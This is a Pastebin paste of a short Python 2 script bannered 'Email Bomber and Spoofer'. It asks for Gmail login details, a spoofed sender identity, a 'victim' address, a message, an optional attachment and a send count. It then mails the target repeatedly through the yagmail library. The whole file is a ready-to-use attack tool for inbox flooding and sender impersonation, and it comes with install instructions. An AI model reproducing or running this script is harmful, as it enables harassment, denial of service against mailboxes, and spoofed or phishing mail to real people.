Guest User

Untitled

a guest
Mar 14th, 2017
34
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.16 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3.  
  4. import getpass
  5. import re
  6. import sys
  7.  
  8.  
  9. try:
  10. import yagmail
  11. except ImportError as e:
  12. print
  13. print "You Need to install yagmail module in order to use the tool."
  14. print
  15. print """Run 'pip install yagmail' in terminal/cmd."""
  16. print
  17. print "In windows:"
  18. print "Run CMD with Administrator Priv and type"
  19. print "'pip install yagmail' (without the quotes) + Enter."
  20. print
  21. print "In Linux:"
  22. print """Run Terminal and type "sudo pip install yagmail" (without the quotes) + Enter. """
  23. sys.exit()
  24.  
  25.  
  26. print " ________ ____ ____ _ _____ _____ "
  27. print " |_ __ |_ \ / _| / \ |_ _|_ _| "
  28. print " | |_ \_| | \/ | / _ \ | | | | "
  29. print " | _| _ | |\ /| | / ___ \ | | | | _ "
  30. print " _| |__/ |_| |_\/_| |_ _/ / \ \_ _| |_ _| |__/ | "
  31. print " _________|_____|______|_____ ________________________ "
  32. print " |_ _ \ .' `|_ \ / _|_ _ \|_ __ |_ __ \ "
  33. print " | |_) |/ .-. \| \/ | | |_) | | |_ \_| | |__) | "
  34. print " | __'.| | | || |\ /| | | __'. | _| _ | __ / "
  35. print " _| |__) \ `-' _| |_\/_| |_ _| |__) _| |__/ |_| | \ \_ "
  36. print " |_______/ `.___.|_____________________________|____| |___| "
  37. print " / \ |_ \|_ _|_ _ `. "
  38. print " / _ \ | \ | | | | `. \ "
  39. print " / ___ \ | |\ \| | | | | | "
  40. print " _/ / \ \_ _| |_\ |_ _| |_.' / "
  41. print " ______ |_________________|\____|________ ________ _______ "
  42. print ".' ____ \|_ __ \ .' `. .' `|_ __ |_ __ |_ __ \ "
  43. print "| (___ \_| | |__) / .-. / .-. \| |_ \_| | |_ \_| | |__) | "
  44. print " _.____`. | ___/| | | | | | || _| | _| _ | __ / "
  45. print "| \____) |_| |_ \ `-' \ `-' _| |_ _| |__/ |_| | \ \_ "
  46. print " \______.|_____| `.___.' `.___.|_____| |________|____| |___|"
  47. print " "
  48. print " Version 1.0 By michypc@HF | Allows HTML and Attachments."
  49. print " No Email support. Guess why..."
  50. print
  51. user = raw_input('Your Gmail Username:\n')
  52. print
  53. passwd = getpass.getpass('Password:\n')
  54. print
  55. spoof = raw_input('Spoofed email address(Can also use a name and email address):\n')
  56. print
  57. spoof = re.sub(r'(@)', r'"@"', spoof)
  58. to = raw_input('Victims Email address:\n')
  59. print
  60. subject = raw_input('Subject of the email:\n')
  61. print
  62. print 'Enter body of the email. (When done - Linux Ctrl+D, Windows Ctrl+Z then Enter)'
  63. body = sys.stdin.read()
  64. print '\n'
  65. att = raw_input('Path to Attachment(Press Enter if no attachment):\n')
  66. print
  67. total = input('Number of Emails to send:\n')
  68.  
  69. for i in range(1, total+1):
  70. if len(att)>0:
  71. yag=yagmail.SMTP({user:spoof}, passwd)
  72. yag.send(to, subject, body, att)
  73. elif len(att)==0:
  74. yag=yagmail.SMTP({user:spoof}, passwd)
  75. yag.send(to, subject, body)
  76. print
  77. print '\rTotal emails sent: %i' % i
  78. sys.stdout.flush()
  79. sys.exit()
Add Comment
Please, Sign In to add comment